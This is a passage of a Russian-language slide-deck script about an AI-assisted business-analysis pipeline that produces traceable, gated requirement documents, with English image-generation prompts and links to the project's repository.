\u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 